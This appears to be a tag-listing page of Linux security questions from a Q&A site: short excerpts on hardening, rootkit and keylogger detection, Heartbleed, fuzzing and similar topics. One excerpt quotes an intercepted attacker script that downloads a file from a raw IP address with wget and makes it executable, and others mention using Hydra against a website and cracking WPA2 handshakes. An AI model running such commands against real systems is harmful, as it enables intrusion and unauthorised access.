Securing Linux systems and applications; understanding Linux security features.

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3answers
106 views

Is it safe to share my hostname

I am using GNU/Linux. Sometimes, I copy/paste code from the terminal (like user@hostname ..) to put it in a forum thread or a blog ..etc And I was always wondering that it is better to hide it . Is ...
1
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1answer
52 views

How to fuzz shared objects?

I know there have been similar questions about that topic, but I think mine differs from the others. I have this application which I am able to crash, but the error seems to happen inside of a shared ...
5
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1answer
240 views

How to detect malicious code sending information to attacker's server in linux

Suppose you have some malicious code on your linux laptop, for example a rootkit or trojan or something like that. Now restrict your attention to the case that the malicious code does transfer some ...
3
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1answer
2k views

Best method to sandbox X applications in ubuntu

What's the best way to sandbox an X application like firefox or thunderbird in ubuntu (going into the direction of what qubes os does, but only for single applications)? I know there are many ...
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1answer
136 views

Most secure SSH server [closed]

Which SSH server (compatible with Debian Wheezy) has the fewest (if any) exploitable security bugs?
47
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7answers
5k views

Can “cat-ing” a file be a potential security risk?

I often use cat on the console to view the contents of files, and every now and then I accidentally cat a binary file which basically produces gibberish and system beeps. However today I've ...
1
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1answer
226 views

Linux kernel 3+ system call table modification detection [closed]

Is there any available tool which can check kernel 3+ system call table for modifications? Also I want to know, is there any automated general tool to check Linux for unknown rootkits? Not like ...
1
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1answer
321 views

Booting into Live USB Linux

If I have a Live USB Linux stick and I plug it into a computer which is not connected to the internet and boot the computer using the Live USB stick. How secure is this interms of not leaving any ...
3
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4answers
279 views

Find out what Linux software is trying to phone home

I have seen some suspicious outbound communications blocked on my VPS, which hosts a small experimental Web site, and want to find out which application is making the attempt. The server is running ...
1
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1answer
696 views

What to do with .hash files when cracking WPA2

So, I'd say I'm one level above n00b. I've gotten to the point where I have accomplished a WPA Handshake (and saved the output as xxx-01.cap). I have also downloaded these hash tables (if that is the ...
3
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4answers
195 views

One computer with multiple OSs in different drives

I use my personal computer for both programming work and gaming at my free time(and sometimes penetration testing) all these in different operating systems each. The problem is that I dont really ...
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5answers
635 views

Detecting unknown keyloggers

On a Linux system, is it at all possible to detect unknown keyloggers? Keyloggers which are new and haven't made it to any detection software's database?
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2answers
252 views

Secure Way of Encrypting Your Bash Shell Script [duplicate]

How can I encrypt my bash shell script on Linux server The shell script contain credentials of other servers for remote access. The problem is I do not want others with same level of access to view ...
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4answers
349 views

I only use windows for games. Do I need anti virus protection?

I use Linux, and even though I'm not pretending my system is virus-free, it's generally accepted that even an aggressive firewall is not a requirement. I want to install Windows 7 on a machine which ...
0
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1answer
42 views

problem upgrading openssl on ubuntu servers [closed]

I'm running Ubuntu x86_64, and want to upgrade to OpenSSL 1.0.1.f. wget <openssl latest> tar -xzvf openssl.tar.gz cd <openssl dir> ./configure --prefix=/usr make In the console output, ...
3
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1answer
71 views

Does TRESOR protect against attacks like HeartBleed

I was wondering if the linux TRESOR module (http://en.wikipedia.org/wiki/TRESOR) would protect a webserver against HeartBleed or other similar attacks.
2
votes
1answer
45 views

Method/program for editing secure files

I'm not entirely sure if this is on-topic for Security.SE, but it doesn't seem entirely off-topic either, so I'll try. :) I keep a couple of (GPG-)encrypted files with more-or-less sensitive ...
7
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1answer
3k views

Has Linux Mint updated the OpenSSL library for LMDE (Heartbleed bug)? [closed]

Background I am using Linux Mint for one of my servers and have been trying to find out if the Linux Mint Debian Edition(LMDE) has updated their repositories with patches for the OpenSSL bug. I ...
2
votes
3answers
327 views

Can I use 777 file permissions inside server virtualisation (that only I have access to) without worry?

For this question, please assume I have followed every possible security measure to secure my Linux server. Only I have access to the web server via one open SSH port. If there are security issues ...
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0answers
65 views

Deleting undeletable files on a hacked Linux machine [duplicate]

I've got two Linux machines hacked recently and the hacker/bot has put a lot of stuff in the /root directory. Luckily he did not disable user access, so I was able to login and kill the programs he ...
0
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1answer
236 views

RAM memory data remanence and double boot, risky?

I wonder if my setup can be risky. To give a good starting point for answers I would briefly sketch the situation setup: double boot system GNU/Linux and Microsoft Windows GNU/Linux is on 2 ...
6
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2answers
1k views

Securing Docker and LXC

The concept put forward by Docker and LXC seems to be, from a security perspective, a move in the right direction. Afraid of a MySQL zero-day? Run it in a Docker container and it won't be able to ...
3
votes
1answer
473 views

Enterprise Anti-virus for Linux?

I know this question is probably at risk of offending the guidelines but our IaaS provider was unable to offer us an anti-virus solution for our Linux servers. We are deployed in an enterprise cloud ...
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2answers
89 views

Hardware-restricted root login

I was thinking about how security on my Linux server can be increased and came up with this question: If most intrusions are performed by gaining remote access to machines, would it be possible and ...
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2answers
88 views

Verifying integrity of text files

While I was away from my home I needed to do some work on a java program so I booted a friends netbook(windows 8) I had with me and finished most of the works I needed to do there. Tho when I returned ...
0
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2answers
167 views

How do I prove for my client that unused ports are closed and unused services are disabled?

I have seen advice that I need to close all unused ports, and disable any unused services in order to secure my servers. How can I prove, beyond any doubt, to my client that I have done this? I need ...
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1answer
434 views

how to stop people hacking a website build in cakephp with linux host [closed]

I have been wondering how to stop intrusion/hack in a website build in cakephp. The neccessities that I have done so far are updated framework strong password frequent password change removed ...
1
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1answer
141 views

How can I verify my machine is not vulnerable from a specific exploit?

I'm running Ubuntu 8.04 TLS linux 2.6.24-23, I find that CVE-2009-2692 which exploits by using sock_sendpage() null pointer dereference. It describes this exploit affects linux version prior to 2.6.31 ...
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1answer
392 views

Why does the linux XRDP module use a 512 bit RSA key? [closed]

Why does the linux XRDP module use a 512 bit RSA key? 512 bit RSA keys are broken by now. How can this be safe?
2
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1answer
813 views

How the shopkeepers are getting MAC address of wifi enabled smartphones

It is clear that some big mall's are tracking all the wifi enabled mobile phones before they are connected to the network..how can it been done? I have the similar issue.. how to get the MAC address ...
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1answer
134 views

Linux security books [closed]

I am trying to find an updated book (preferably from 2012-2013) that can cover linux security aspects comprehensively. I searched on Amazon and found that most Linux security books are from back in ...
2
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3answers
1k views

How to detect the “Hello packets” sent by a wifi enabled smartphone

Actually I have a case where I should able to detect the mobile phones and get some data about the device available in my network range without connecting to the network. I have seen somewhere that a ...
10
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2answers
5k views

How to get MAC addresses of devices which are not in the network

Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux) I have been trying to get the MAC addresses of devices connected to my network through ...
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4answers
221 views

What needs to be focused on when hardening a LAMP stack? [closed]

I have a site running on a VPS. I set up the LAMP stack and a few other programs personally. This is only the second time I have set up a VPS and I am a bit worried about security. Are there things ...
5
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3answers
141 views

Best approach for restricting remote ssh session

Using the following files, I have attempted to restrict the SSH remote login. Having lack of knowledge in linux environment, I don't know the drawbacks and vulnerabilities between the following ways. ...
0
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1answer
243 views

MitM Attacks - Iptables?

I have looked for the answer to this question to no avail, apologies if I missed it. I would like to know how effective iptables would be against MitM attacks - in the following setup: ALLOW INPUT ...
11
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4answers
531 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
11
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3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
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2answers
3k views

Hydra https-form-post

I have never experimented much with online password crackers. I attempted to use Hydra today on this website www.athena2.harker.org and I keep getting false positives. This is what I have done so ...
3
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1answer
175 views

Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?

If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...
40
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8answers
8k views

Why am I allowed to access protected Windows files when I boot Ubuntu from USB?

How come I'm allowed to reboot a computer that I don't own, put in a USB, boot ubuntu from it and then access all files stored on the drives available (even critical files such as system files on C ...
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2answers
184 views

Storing database password in application

Let's say my application connects to my database. This requires me to have the username and database in my config as follows: postgresql://scott:tiger@localhost/mydatabase I have an automated ...
2
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2answers
304 views

Can a Ubuntu live usb be infected with spyware/ virus?

I have a Ubuntu 13.10 live usb. I gave it to somebody so that he can install ubuntu. Now I have received it back. I was wondering if it is possible to infect a live usb with spyware or virus ? If yes, ...
4
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2answers
696 views

What Ubuntu packages are still affected by gnutls bug CVE-2014-0092?

Right now the internet is abuzz with news about a severe breach in GnuTLS. An update to the relevant GnuTLS packages has already been released. But I am worried whether some packages might have had ...
0
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2answers
139 views

Debian missing security features?

Debian (stable) is a well respected server Linux distro. I was surprised to see that in their hardening walkthrough (https://wiki.debian.org/HardeningWalkthrough) they do not support position ...
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1answer
287 views

Why does Debian security guide recommend md5 hashed passwords?

I am reading the Debian Security How-To and came across a section that I found odd: it recommends to use md5 hashes for /etc/shadow passwords ...
1
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1answer
96 views

Fuzzing shared libraries

Are there any tools capable of automatically fuzzing Linux shared libraries, by automatically I mean detect exported function, determine function signature and finally inject random data ? Can ...
1
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0answers
45 views

Is CVE-2011-1571 fixed in tomcat?

I dont see any record of CVE-2011-1571 being fixed in tomcat based on ASF' security reports for tomcat itself. Usually they specify the CVE number and information about the fix. This was 3 years ago ...
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1answer
162 views

Secure installation of KVM VPS?

This question has also been asked on Server Fault, but was not taken seriously. I hope this is a better place for it I'm going to install Debian Wheezy on a KVM VPS. VNC access to console is enabled, ...
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0answers
26 views

Tracking checkins from generic users

Im trying to implement a better system to monitor checkins to our repository. We have some generic users everyone can use, I have recently disallowed them from checking in as those users however there ...